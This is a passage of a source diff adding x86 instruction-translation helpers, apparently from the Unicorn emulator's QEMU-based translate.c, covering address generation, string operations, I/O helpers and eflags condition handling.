tcg_gen_addi_tl(s, cpu_tmp0, *cpu_regs[reg], val); + gen_op_mov_reg_v(s, size, reg, cpu_tmp0); +} + +static inline void gen_op_add_reg_T0(TCGContext *s, TCGMemOp size, int reg) +{ + TCGv cpu_tmp0 = *(TCGv *)s->cpu_tmp0; + TCGv **cpu_T = (TCGv **)s->cpu_T; + TCGv **cpu_regs = (TCGv **)s->cpu_regs; + + tcg_gen_add_tl(s, cpu_tmp0, *cpu_regs[reg], *cpu_T[0]); + gen_op_mov_reg_v(s, size, reg, cpu_tmp0); +} + +static inline void gen_op_addl_A0_reg_sN(TCGContext *s, int shift, int reg) +{ + TCGv cpu_A0 = *(TCGv *)s->cpu_A0; + TCGv cpu_tmp0 = *(TCGv *)s->cpu_tmp0; + TCGv **cpu_regs = (TCGv **)s->cpu_regs; + + tcg_gen_mov_tl(s, cpu_tmp0, *cpu_regs[reg]); + if (shift != 0) + tcg_gen_shli_tl(s, cpu_tmp0, cpu_tmp0, shift); + tcg_gen_add_tl(s, cpu_A0, cpu_A0, cpu_tmp0); + /* For x86_64, this sets the higher half of register to zero. + For i386, this is equivalent to a nop. */ + tcg_gen_ext32u_tl(s, cpu_A0, cpu_A0); +} + +static inline void gen_op_movl_A0_seg(TCGContext *s, int reg) +{ + TCGv cpu_A0 = *(TCGv *)s->cpu_A0; + + tcg_gen_ld32u_tl(s, cpu_A0, s->cpu_env, offsetof(CPUX86State, segs[reg].base) + REG_L_OFFSET); +} + +static inline void gen_op_addl_A0_seg(DisasContext *s, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv cpu_tmp0 = *(TCGv *)tcg_ctx->cpu_tmp0; + + tcg_gen_ld_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, offsetof(CPUX86State, segs[reg].base)); +#ifdef TARGET_X86_64 + if (CODE64(s)) { + tcg_gen_andi_tl(tcg_ctx, cpu_A0, cpu_A0, 0xffffffff); + tcg_gen_add_tl(tcg_ctx, cpu_A0, cpu_A0, cpu_tmp0); + } else { + tcg_gen_add_tl(tcg_ctx, cpu_A0, cpu_A0, cpu_tmp0); + tcg_gen_andi_tl(tcg_ctx, cpu_A0, cpu_A0, 0xffffffff); + } +#else + tcg_gen_add_tl(tcg_ctx, cpu_A0, cpu_A0, cpu_tmp0); +#endif +} + +#ifdef TARGET_X86_64 +static inline void gen_op_movq_A0_seg(TCGContext *s, int reg) +{ + TCGv cpu_A0 = *(TCGv *)s->cpu_A0; + + tcg_gen_ld_tl(s, cpu_A0, s->cpu_env, offsetof(CPUX86State, segs[reg].base)); +} + +static inline void gen_op_addq_A0_seg(TCGContext *s, int reg) +{ + TCGv cpu_A0 = *(TCGv *)s->cpu_A0; + TCGv cpu_tmp0 = *(TCGv *)s->cpu_tmp0; + + tcg_gen_ld_tl(s, cpu_tmp0, s->cpu_env, offsetof(CPUX86State, segs[reg].base)); + tcg_gen_add_tl(s, cpu_A0, cpu_A0, cpu_tmp0); +} + +static inline void gen_op_movq_A0_reg(TCGContext *s, int reg) +{ + TCGv cpu_A0 = *(TCGv *)s->cpu_A0; + TCGv **cpu_regs = (TCGv **)s->cpu_regs; + + tcg_gen_mov_tl(s, cpu_A0, *cpu_regs[reg]); +} + +static inline void gen_op_addq_A0_reg_sN(TCGContext *s, int shift, int reg) +{ + TCGv cpu_A0 = *(TCGv *)s->cpu_A0; + TCGv cpu_tmp0 = *(TCGv *)s->cpu_tmp0; + TCGv **cpu_regs = (TCGv **)s->cpu_regs; + + tcg_gen_mov_tl(s, cpu_tmp0, *cpu_regs[reg]); + if (shift != 0) + tcg_gen_shli_tl(s, cpu_tmp0, cpu_tmp0, shift); + tcg_gen_add_tl(s, cpu_A0, cpu_A0, cpu_tmp0); +} +#endif + +static inline void gen_op_ld_v(DisasContext *s, int idx, TCGv t0, TCGv a0) +{ + if (HOOK_EXISTS(s->uc, UC_HOOK_MEM_READ)) + gen_jmp_im(s, s->prev_pc); // Unicorn: sync EIP + tcg_gen_qemu_ld_tl(s->uc, t0, a0, s->mem_index, idx | MO_LE); +} + +static inline void gen_op_st_v(DisasContext *s, int idx, TCGv t0, TCGv a0) +{ + if (HOOK_EXISTS(s->uc, UC_HOOK_MEM_WRITE)) + gen_jmp_im(s, s->prev_pc); // Unicorn: sync EIP + tcg_gen_qemu_st_tl(s->uc, t0, a0, s->mem_index, idx | MO_LE); +} + +static inline void gen_op_st_rm_T0_A0(DisasContext *s, int idx, int d) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + if (d == OR_TMP0) { + gen_op_st_v(s, idx, *cpu_T[0], cpu_A0); + } else { + gen_op_mov_reg_v(tcg_ctx, idx, d, *cpu_T[0]); + } +} + +static inline void gen_jmp_im(DisasContext *s, target_ulong pc) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_tmp0 = *(TCGv *)tcg_ctx->cpu_tmp0; + + tcg_gen_movi_tl(tcg_ctx, cpu_tmp0, pc); + gen_op_jmp_v(tcg_ctx, cpu_tmp0); +} + +static inline void gen_string_movl_A0_ESI(DisasContext *s) +{ + int override; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_regs = (TCGv **)tcg_ctx->cpu_regs; + + override = s->override; + switch (s->aflag) { +#ifdef TARGET_X86_64 + case MO_64: + if (override >= 0) { + gen_op_movq_A0_seg(tcg_ctx, override); + gen_op_addq_A0_reg_sN(tcg_ctx, 0, R_ESI); + } else { + gen_op_movq_A0_reg(tcg_ctx, R_ESI); + } + break; +#endif + case MO_32: + /* 32 bit address */ + if (s->addseg && override < 0) + override = R_DS; + if (override >= 0) { + gen_op_movl_A0_seg(tcg_ctx, override); + gen_op_addl_A0_reg_sN(tcg_ctx, 0, R_ESI); + } else { + gen_op_movl_A0_reg(tcg_ctx, R_ESI); + } + break; + case MO_16: + /* 16 address, always override */ + if (override < 0) + override = R_DS; + tcg_gen_ext16u_tl(tcg_ctx, cpu_A0, *cpu_regs[R_ESI]); + gen_op_addl_A0_seg(s, override); + break; + default: + tcg_abort(); + } +} + +static inline void gen_string_movl_A0_EDI(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_regs = (TCGv **)tcg_ctx->cpu_regs; + + switch (s->aflag) { +#ifdef TARGET_X86_64 + case MO_64: + gen_op_movq_A0_reg(tcg_ctx, R_EDI); + break; +#endif + case MO_32: + if (s->addseg) { + gen_op_movl_A0_seg(tcg_ctx, R_ES); + gen_op_addl_A0_reg_sN(tcg_ctx, 0, R_EDI); + } else { + gen_op_movl_A0_reg(tcg_ctx, R_EDI); + } + break; + case MO_16: + tcg_gen_ext16u_tl(tcg_ctx, cpu_A0, *cpu_regs[R_EDI]); + gen_op_addl_A0_seg(s, R_ES); + break; + default: + tcg_abort(); + } +} + +static inline void gen_op_movl_T0_Dshift(TCGContext *s, TCGMemOp ot) +{ + TCGv **cpu_T = (TCGv **)s->cpu_T; + + tcg_gen_ld32s_tl(s, *cpu_T[0], s->cpu_env, offsetof(CPUX86State, df)); + tcg_gen_shli_tl(s, *cpu_T[0], *cpu_T[0], ot); +}; + +static TCGv gen_ext_tl(TCGContext *s, TCGv dst, TCGv src, TCGMemOp size, bool sign) +{ + switch (size) { + case MO_8: + if (sign) { + tcg_gen_ext8s_tl(s, dst, src); + } else { + tcg_gen_ext8u_tl(s, dst, src); + } + return dst; + case MO_16: + if (sign) { + tcg_gen_ext16s_tl(s, dst, src); + } else { + tcg_gen_ext16u_tl(s, dst, src); + } + return dst; +#ifdef TARGET_X86_64 + case MO_32: + if (sign) { + tcg_gen_ext32s_tl(s, dst, src); + } else { + tcg_gen_ext32u_tl(s, dst, src); + } + return dst; +#endif + default: + return src; + } +} + +static void gen_extu(TCGContext *s, TCGMemOp ot, TCGv reg) +{ + gen_ext_tl(s, reg, reg, ot, false); +} + +static void gen_exts(TCGContext *s, TCGMemOp ot, TCGv reg) +{ + gen_ext_tl(s, reg, reg, ot, true); +} + +static inline void gen_op_jnz_ecx(TCGContext *s, TCGMemOp size, int label1) +{ + TCGv cpu_tmp0 = *(TCGv *)s->cpu_tmp0; + TCGv **cpu_regs = (TCGv **)s->cpu_regs; + + tcg_gen_mov_tl(s, cpu_tmp0, *cpu_regs[R_ECX]); + gen_extu(s, size, cpu_tmp0); + tcg_gen_brcondi_tl(s, TCG_COND_NE, cpu_tmp0, 0, label1); +} + +static inline void gen_op_jz_ecx(TCGContext *s, TCGMemOp size, int label1) +{ + TCGv cpu_tmp0 = *(TCGv *)s->cpu_tmp0; + TCGv **cpu_regs = (TCGv **)s->cpu_regs; + + tcg_gen_mov_tl(s, cpu_tmp0, *cpu_regs[R_ECX]); + gen_extu(s, size, cpu_tmp0); + tcg_gen_brcondi_tl(s, TCG_COND_EQ, cpu_tmp0, 0, label1); +} + +static void gen_helper_in_func(TCGContext *s, TCGMemOp ot, TCGv v, TCGv_i32 n) +{ + switch (ot) { + case MO_8: + gen_helper_inb(s, v, tcg_const_ptr(s, s->uc), n); + break; + case MO_16: + gen_helper_inw(s, v, tcg_const_ptr(s, s->uc), n); + break; + case MO_32: + gen_helper_inl(s, v, tcg_const_ptr(s, s->uc), n); + break; + default: + tcg_abort(); + } +} + +static void gen_helper_out_func(TCGContext *s, TCGMemOp ot, TCGv_i32 v, TCGv_i32 n) +{ + switch (ot) { + case MO_8: + gen_helper_outb(s, tcg_const_ptr(s, s->uc), v, n); + break; + case MO_16: + gen_helper_outw(s, tcg_const_ptr(s, s->uc), v, n); + break; + case MO_32: + gen_helper_outl(s, tcg_const_ptr(s, s->uc), v, n); + break; + default: + tcg_abort(); + } +} + +static void gen_check_io(DisasContext *s, TCGMemOp ot, target_ulong cur_eip, + uint32_t svm_flags) +{ + int state_saved; + target_ulong next_eip; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 cpu_tmp2_i32 = tcg_ctx->cpu_tmp2_i32; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + // Unicorn: allow all I/O instructions + return; + + state_saved = 0; + if (s->pe && (s->cpl > s->iopl || s->vm86)) { + gen_update_cc_op(s); + gen_jmp_im(s, cur_eip); + state_saved = 1; + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + switch (ot) { + case MO_8: + gen_helper_check_iob(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp2_i32); + break; + case MO_16: + gen_helper_check_iow(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp2_i32); + break; + case MO_32: + gen_helper_check_iol(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp2_i32); + break; + default: + tcg_abort(); + } + } + if(s->flags & HF_SVMI_MASK) { + if (!state_saved) { + gen_update_cc_op(s); + gen_jmp_im(s, cur_eip); + } + svm_flags |= (1 << (4 + ot)); + next_eip = s->pc - s->cs_base; + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + gen_helper_svm_check_io(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp2_i32, + tcg_const_i32(tcg_ctx, svm_flags), + tcg_const_i32(tcg_ctx, next_eip - cur_eip)); + } +} + +static inline void gen_movs(DisasContext *s, TCGMemOp ot) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + gen_string_movl_A0_ESI(s); + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + gen_string_movl_A0_EDI(s); + gen_op_st_v(s, ot, *cpu_T[0], cpu_A0); + gen_op_movl_T0_Dshift(tcg_ctx, ot); + gen_op_add_reg_T0(tcg_ctx, s->aflag, R_ESI); + gen_op_add_reg_T0(tcg_ctx, s->aflag, R_EDI); +} + +static void gen_op_update1_cc(TCGContext *s) +{ + TCGv cpu_cc_dst = *(TCGv *)s->cpu_cc_dst; + TCGv **cpu_T = (TCGv **)s->cpu_T; + + tcg_gen_mov_tl(s, cpu_cc_dst, *cpu_T[0]); +} + +static void gen_op_update2_cc(TCGContext *s) +{ + TCGv cpu_cc_dst = *(TCGv *)s->cpu_cc_dst; + TCGv cpu_cc_src = *(TCGv *)s->cpu_cc_src; + TCGv **cpu_T = (TCGv **)s->cpu_T; + + tcg_gen_mov_tl(s, cpu_cc_src, *cpu_T[1]); + tcg_gen_mov_tl(s, cpu_cc_dst, *cpu_T[0]); +} + +static void gen_op_update3_cc(TCGContext *s, TCGv reg) +{ + TCGv cpu_cc_dst = *(TCGv *)s->cpu_cc_dst; + TCGv cpu_cc_src = *(TCGv *)s->cpu_cc_src; + TCGv cpu_cc_src2 = *(TCGv *)s->cpu_cc_src2; + TCGv **cpu_T = (TCGv **)s->cpu_T; + + tcg_gen_mov_tl(s, cpu_cc_src2, reg); + tcg_gen_mov_tl(s, cpu_cc_src, *cpu_T[1]); + tcg_gen_mov_tl(s, cpu_cc_dst, *cpu_T[0]); +} + +static inline void gen_op_testl_T0_T1_cc(TCGContext *s) +{ + TCGv cpu_cc_dst = *(TCGv *)s->cpu_cc_dst; + TCGv **cpu_T = (TCGv **)s->cpu_T; + + tcg_gen_and_tl(s, cpu_cc_dst, *cpu_T[0], *cpu_T[1]); +} + +static void gen_op_update_neg_cc(TCGContext *s) +{ + TCGv cpu_cc_dst = *(TCGv *)s->cpu_cc_dst; + TCGv cpu_cc_src = *(TCGv *)s->cpu_cc_src; + TCGv cpu_cc_srcT = *(TCGv *)s->cpu_cc_srcT; + TCGv **cpu_T = (TCGv **)s->cpu_T; + + tcg_gen_mov_tl(s, cpu_cc_dst, *cpu_T[0]); + tcg_gen_neg_tl(s, cpu_cc_src, *cpu_T[0]); + tcg_gen_movi_tl(s, cpu_cc_srcT, 0); +} + +/* compute all eflags to cc_src */ +static void gen_compute_eflags(DisasContext *s) +{ + TCGv zero, dst, src1, src2; + int live, dead; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 cpu_cc_op = tcg_ctx->cpu_cc_op; + TCGv cpu_cc_dst = *(TCGv *)tcg_ctx->cpu_cc_dst; + TCGv cpu_cc_src = *(TCGv *)tcg_ctx->cpu_cc_src; + TCGv cpu_cc_src2 = *(TCGv *)tcg_ctx->cpu_cc_src2; + + if (s->cc_op == CC_OP_EFLAGS) { + return; + } + if (s->cc_op == CC_OP_CLR) { + tcg_gen_movi_tl(tcg_ctx, cpu_cc_src, CC_Z | CC_P); + set_cc_op(s, CC_OP_EFLAGS); + return; + } + + TCGV_UNUSED(zero); + dst = cpu_cc_dst; + src1 = cpu_cc_src; + src2 = cpu_cc_src2; + + /* Take care to not read values that are not live. */ + live = cc_op_live[s->cc_op] & ~USES_CC_SRCT; + dead = live ^ (USES_CC_DST | USES_CC_SRC | USES_CC_SRC2); + if (dead) { + zero = tcg_const_tl(tcg_ctx, 0); + if (dead & USES_CC_DST) { + dst = zero; + } + if (dead & USES_CC_SRC) { + src1 = zero; + } + if (dead & USES_CC_SRC2) { + src2 = zero; + } + } + + gen_update_cc_op(s); + gen_helper_cc_compute_all(tcg_ctx, cpu_cc_src, dst, src1, src2, cpu_cc_op); + set_cc_op(s, CC_OP_EFLAGS); + + if (dead) { + tcg_temp_free(tcg_ctx, zero); + } +} + +typedef struct CCPrepare { + TCGCond cond; + TCGv reg; + TCGv reg2; + target_ulong imm; + target_ulong mask; + bool use_reg2; + bool no_setcond; +} CCPrepare; + +static inline CCPrepare ccprepare_make(TCGCond cond, + TCGv reg, TCGv reg2, + target_ulong imm, target_ulong mask, + bool use_reg2, bool no_setcond) +{ + CCPrepare cc = { cond, reg, reg2, imm, mask, use_reg2, no_setcond }; + return cc; +} + +/* compute eflags.C to reg */ +static CCPrepare gen_prepare_eflags_c(DisasContext *s, TCGv reg) +{ + TCGv t0, t1; + int size, shift; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 cpu_cc_op = tcg_ctx->cpu_cc_op; + TCGv cpu_cc_dst = *(TCGv *)tcg_ctx->cpu_cc_dst; + TCGv cpu_cc_src = *(TCGv *)tcg_ctx->cpu_cc_src; + TCGv cpu_cc_src2 = *(TCGv *)tcg_ctx->cpu_cc_src2; + TCGv cpu_cc_srcT = *(TCGv *)tcg_ctx->cpu_cc_srcT; + TCGv cpu_tmp0 = *(TCGv *)tcg_ctx->cpu_tmp0; + + switch (s->cc_op) { + case CC_OP_SUBB: case CC_OP_SUBW: case CC_OP_SUBL: case CC_OP_SUBQ: + /* (DATA_TYPE)CC_SRCT < (DATA_TYPE)CC_SRC */ + size = s->cc_op - CC_OP_SUBB; + t1 = gen_ext_tl(tcg_ctx, cpu_tmp0, cpu_cc_src, size, false); + /* If no temporary was used, be careful not to alias t1 and t0. */ + t0 = TCGV_EQUAL(t1, cpu_cc_src) ? cpu_tmp0 : reg; + tcg_gen_mov_tl(tcg_ctx, t0, cpu_cc_srcT); + gen_extu(tcg_ctx, size, t0); + goto add_sub; + + case CC_OP_ADDB: case CC_OP_ADDW: case CC_OP_ADDL: case CC_OP_ADDQ: + /* (DATA_TYPE)CC_DST < (DATA_TYPE)CC_SRC */ + size = s->cc_op - CC_OP_ADDB; + t1 = gen_ext_tl(tcg_ctx, cpu_tmp0, cpu_cc_src, size, false); + t0 = gen_ext_tl(tcg_ctx, reg, cpu_cc_dst, size, false); + add_sub: + return ccprepare_make(TCG_COND_LTU, t0, t1, 0, -1, true, false); + + case CC_OP_LOGICB: case CC_OP_LOGICW: case CC_OP_LOGICL: case CC_OP_LOGICQ: + case CC_OP_CLR: + return ccprepare_make(TCG_COND_NEVER, 0, 0, 0, -1, false, false); + + case CC_OP_INCB: case CC_OP_INCW: case CC_OP_INCL: case CC_OP_INCQ: + case CC_OP_DECB: case CC_OP_DECW: case CC_OP_DECL: case CC_OP_DECQ: + return ccprepare_make(TCG_COND_NE, cpu_cc_src, 0, 0, -1, false, true); + + case CC_OP_SHLB: case CC_OP_SHLW: case CC_OP_SHLL: case CC_OP_SHLQ: + /* (CC_SRC >> (DATA_BITS - 1)) & 1 */ + size = s->cc_op - CC_OP_SHLB; + shift = (8 << size) - 1; + return ccprepare_make(TCG_COND_NE, cpu_cc_src, 0, 0, (target_ulong)(1ULL << shift), false, false); + + case CC_OP_MULB: case CC_OP_MULW: case CC_OP_MULL: case CC_OP_MULQ: + return ccprepare_make(TCG_COND_NE, cpu_cc_src, 0, 0, -1, false, false); + + case CC_OP_BMILGB: case CC_OP_BMILGW: case CC_OP_BMILGL: case CC_OP_BMILGQ: + size = s->cc_op - CC_OP_BMILGB; + t0 = gen_ext_tl(tcg_ctx, reg, cpu_cc_src, size, false); + return ccprepare_make(TCG_COND_EQ, t0, 0, 0, -1, false, false); + + case CC_OP_ADCX: + case CC_OP_ADCOX: + return ccprepare_make(TCG_COND_NE, cpu_cc_dst, 0, 0, -1, false, true); + + case CC_OP_EFLAGS: + case CC_OP_SARB: case CC_OP_SARW: case CC_OP_SARL: case CC_OP_SARQ: + /* CC_SRC & 1 */ + return ccprepare_make(TCG_COND_NE, cpu_cc_src, 0, 0, CC_C, false, false); + + default: + /* The need to compute only C from CC_OP_DYNAMIC is important + in efficiently implementing e.g. INC at the start of a TB. */ + gen_update_cc_op(s); + gen_helper_cc_compute_c(tcg_ctx, reg, cpu_cc_dst, cpu_cc_src, + cpu_cc_src2, cpu_cc_op); + return ccprepare_make(TCG_COND_NE, reg, 0, 0, -1, false, true); + } +} + +/* compute eflags.P to reg */ +static CCPrepare gen_prepare_eflags_p(DisasContext *s, TCGv reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_cc_src = *(TCGv *)tcg_ctx->cpu_cc_src; + + gen_compute_eflags(s); + return ccprepare_make(TCG_COND_NE, cpu_cc_src, 0, 0, CC_P, false, false); +} + +/* compute eflags.S to reg */ +static CCPrepare gen_prepare_eflags_s(DisasContext *s, TCGv reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_cc_dst = *(TCGv *)tcg_ctx->cpu_cc_dst; + TCGv cpu_cc_src = *(TCGv *)tcg_ctx->cpu_cc_src; + + switch (s->cc_op) { + case CC_OP_DYNAMIC: + gen_compute_eflags(s); + /* FALLTHRU */ + case CC_OP_EFLAGS: + case CC_OP_ADCX: + case CC_OP_ADOX: + case CC_OP_ADCOX: + return ccprepare_make(TCG_COND_NE, cpu_cc_src, 0, 0, CC_S, false, false); + case CC_OP_CLR: + return ccprepare_make(TCG_COND_NEVER, 0, 0, 0, -1, false, false); + default: + { + TCGMemOp size = (s->cc_op - CC_OP_ADDB) & 3; + TCGv t0 = gen_ext_tl(tcg_ctx, reg, cpu_cc_dst, size, true); + return ccprepare_make(TCG_COND_LT, t0, 0, 0, -1, false, false); + } + } +} + +/* compute eflags.O to reg */ +static CCPrepare gen_prepare_eflags_o(DisasContext *s, TCGv reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_cc_src = *(TCGv *)tcg_ctx->cpu_cc_src; + TCGv cpu_cc_src2 = *(TCGv *)tcg_ctx->cpu_cc_src2; + + switch (s->cc_op) { + case CC_OP_ADOX: + case CC_OP_ADCOX: + return ccprepare_make(TCG_COND_NE, cpu_cc_src2, 0, 0, -1, false, true); + case CC_OP_CLR: + return ccprepare_make(TCG_COND_NEVER, 0, 0, 0, -1, false, false); + default: + gen_compute_eflags(s); + return ccprepare_make(TCG_COND_NE, cpu_cc_src, 0, 0, CC_O, false, false); + } +} + +/* compute eflags.Z to reg */ +static CCPrepare gen_prepare_eflags_z(DisasContext *s, TCGv reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_cc_dst = *(TCGv *)tcg_ctx->cpu_cc_dst; + TCGv cpu_cc_src = *(TCGv *)tcg_ctx->cpu_cc_src; + + switch (s->cc_op) { + case CC_OP_DYNAMIC: + gen_compute_eflags(s); + /* FALLTHRU */ + case CC_OP_EFLAGS: + case CC_OP_ADCX: + case CC_OP_ADOX: + case CC_OP_ADCOX: + return ccprepare_make(TCG_COND_NE, cpu_cc_src, 0, 0, CC_Z, false, false); + case CC_OP_CLR: + return ccprepare_make(TCG_COND_ALWAYS, 0, 0, 0, -1, false, false); + default: + { + TCGMemOp size = (s->cc_op - CC_OP_ADDB) & 3; + TCGv t0 = gen_ext_tl(tcg_ctx, reg, cpu_cc_dst, size, false); + return ccprepare_make(TCG_COND_EQ, t0, 0, 0, -1, false, false); + } + } +} + +/* perform a conditional store into register 'reg' according to jump opcode + value 'b'. In the fast case, T0 is guaranted not to be used. */ +static CCPrepare gen_prepare_cc(DisasContext *s, int b, TCGv reg) +{ + int inv, jcc_op, cond; + TCGMemOp size; + CCPrepare cc; + TCGv t0; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_cc_src = *(TCGv *)tcg_ctx->cpu_cc_src; + TCGv cpu_cc_srcT = *(TCGv *)tcg_ctx->cpu_cc_srcT; + TCGv cpu_tmp0 = *(TCGv *)tcg_ctx->cpu_tmp0; + TCGv cpu_tmp4 = *(TCGv *)tcg_ctx->cpu_tmp4; + + inv = b & 1; + jcc_op = (b >> 1) & 7; + + switch (s->cc_op) { + case CC_OP_SUBB: case CC_OP_SUBW: case CC_OP_SUBL: case CC_OP_SUBQ: + /* We optimize relational operators for the cmp/jcc case. */ + size = s->cc_op - CC_OP_SUBB; + switch (jcc_op) { + case JCC_BE: + tcg_gen_mov_tl(tcg_ctx, cpu_tmp4, cpu_cc_srcT); + gen_extu(tcg_ctx, size, cpu_tmp4); + t0 = gen_ext_tl(tcg_ctx, cpu_tmp0, cpu_cc_src, size, false); + cc = ccprepare_make(TCG_COND_LEU, cpu_tmp4, t0, 0, -1, true, false); + break; + + case JCC_L: + cond = TCG_COND_LT; + goto fast_jcc_l; + case JCC_LE: + cond = TCG_COND_LE; + fast_jcc_l: + tcg_gen_mov_tl(tcg_ctx, cpu_tmp4, cpu_cc_srcT); + gen_exts(tcg_ctx, size, cpu_tmp4); + t0 = gen_ext_tl(tcg_ctx, cpu_tmp0, cpu_cc_src, size, true); + cc = ccprepare_make(cond, cpu_tmp4, t0, 0, -1, true, false); + break; + + default: + goto slow_jcc; + } + break; + + default: + slow_jcc: + /* This actually generates good code for JC, JZ and JS. */ + switch (jcc_op) { + case JCC_O: + cc = gen_prepare_eflags_o(s, reg); + break; + case JCC_B: + cc = gen_prepare_eflags_c(s, reg); + break; + case JCC_Z: + cc = gen_prepare_eflags_z(s, reg); + break; + case JCC_BE: + gen_compute_eflags(s); + cc = ccprepare_make(TCG_COND_NE, cpu_cc_src, 0, 0, CC_Z | CC_C, false, false); + break; + case JCC_S: + cc = gen_prepare_eflags_s(s, reg); + break; + case JCC_P: + cc = gen_prepare_eflags_p(s, reg); + break; + case JCC_L: + gen_compute_eflags(s); + if (TCGV_EQUAL(reg, cpu_cc_src)) { + reg = cpu_tmp0; + } + tcg_gen_shri_tl(tcg_ctx, reg, cpu_cc_src, 4); /* CC_O -> CC_S */ + tcg_gen_xor_tl(tcg_ctx, reg, reg, cpu_cc_src); + cc = ccprepare_make(TCG_COND_NE, reg, 0, 0, CC_S, false, false); + break; + default: + case JCC_LE: + gen_compute_eflags(s); + if (TCGV_EQUAL(reg, cpu_cc_src)) { + reg = cpu_tmp0; + } + tcg_gen_shri_tl(tcg_ctx, reg, cpu_cc_src, 4); /* CC_O -> CC_S */ + tcg_gen_xor_tl(tcg_ctx, reg, reg, cpu_cc_src); + cc = ccprepare_make(TCG_COND_NE, reg, 0, 0, CC_S | CC_Z, false, false); + break; + } + break; + } + + if (inv) { + cc.cond = tcg_invert_cond(cc.cond); + } + return cc; +} + +static void gen_setcc1(DisasContext *s, int b, TCGv reg) +{ + CCPrepare cc = gen_prepare_cc(s, b, reg); + TCGContext *tcg_ctx = s->uc->tcg_ctx; + + if (cc.no_setcond) { + if (cc.cond == TCG_COND_EQ) { + tcg_gen_xori_tl(tcg_ctx, reg, cc.reg, 1); + } else { + tcg_gen_mov_tl(tcg_ctx, reg, cc.reg); + } + return; + } + + if (cc.cond == TCG_COND_NE && !cc.use_reg2 && cc.imm == 0 && + cc.mask != 0 && (cc.mask & (cc.mask - 1)) == 0) { + tcg_gen_shri_tl(tcg_ctx, reg, cc.reg, ctztl(cc.mask)); + tcg_gen_andi_tl(tcg_ctx, reg, reg, 1); + return; + } + if (cc.mask != -1) { + tcg_gen_andi_tl(tcg_ctx, reg, cc.reg, cc.mask); + cc.reg = reg; + } + if (cc.use_reg2) { + tcg_gen_setcond_tl(tcg_ctx, cc.cond, reg, cc.reg, cc.reg2); + } else { + tcg_gen_setcondi_tl(tcg_ctx, cc.cond, reg, cc.reg, cc.imm); + } +} + +static inline void gen_compute_eflags_c(DisasContext *s, TCGv reg) +{ + gen_setcc1(s, JCC_B << 1, reg); +} + +/* generate a conditional jump to label 'l1' according to jump opcode + value 'b'. In the fast case, T0 is guaranted not to be used. */ +static inline void gen_jcc1_noeob(DisasContext *s, int b, int l1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + CCPrepare cc = gen_prepare_cc(s, b, *cpu_T[0]); + + if (cc.mask != -1) { + tcg_gen_andi_tl(tcg_ctx, *cpu_T[0], cc.reg, cc.mask); + cc.reg = *cpu_T[0]; + } + if (cc.use_reg2) { + tcg_gen_brcond_tl(tcg_ctx, cc.cond, cc.reg, cc.reg2, l1); + } else { + tcg_gen_brcondi_tl(tcg_ctx, cc.cond, cc.reg, cc.imm, l1); + } +} + +/* Generate a conditional jump to label 'l1' according to jump opcode + value 'b'. In the fast case, T0 is guaranted not to be used. + A translation block must end soon. */ +static inline void gen_jcc1(DisasContext *s, int b, int l1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + CCPrepare cc = gen_prepare_cc(s, b, *cpu_T[0]); + + gen_update_cc_op(s); + if (cc.mask != -1) { + tcg_gen_andi_tl(tcg_ctx, *cpu_T[0], cc.reg, cc.mask); + cc.reg = *cpu_T[0]; + } + set_cc_op(s, CC_OP_DYNAMIC); + if (cc.use_reg2) { + tcg_gen_brcond_tl(tcg_ctx, cc.cond, cc.reg, cc.reg2, l1); + } else { + tcg_gen_brcondi_tl(tcg_ctx, cc.cond, cc.reg, cc.imm, l1); + } +} + +/* XXX: does not work with gdbstub "ice" single step - not a + serious problem */ +static int gen_jz_ecx_string(DisasContext *s, target_ulong next_eip) +{ + int l1, l2; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + + l1 = gen_new_label(tcg_ctx); + l2 = gen_new_label(tcg_ctx); + gen_op_jnz_ecx(tcg_ctx, s->aflag, l1); + gen_set_label(tcg_ctx, l2); + gen_jmp_tb(s, next_eip, 1); + gen_set_label(tcg_ctx, l1); + return l2; +} + +static inline void gen_stos(DisasContext *s, TCGMemOp ot) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + + gen_op_mov_v_reg(tcg_ctx, MO_32, *cpu_T[0], R_EAX); + gen_string_movl_A0_EDI(s); + gen_op_st_v(s, ot, *cpu_T[0], cpu_A0); + 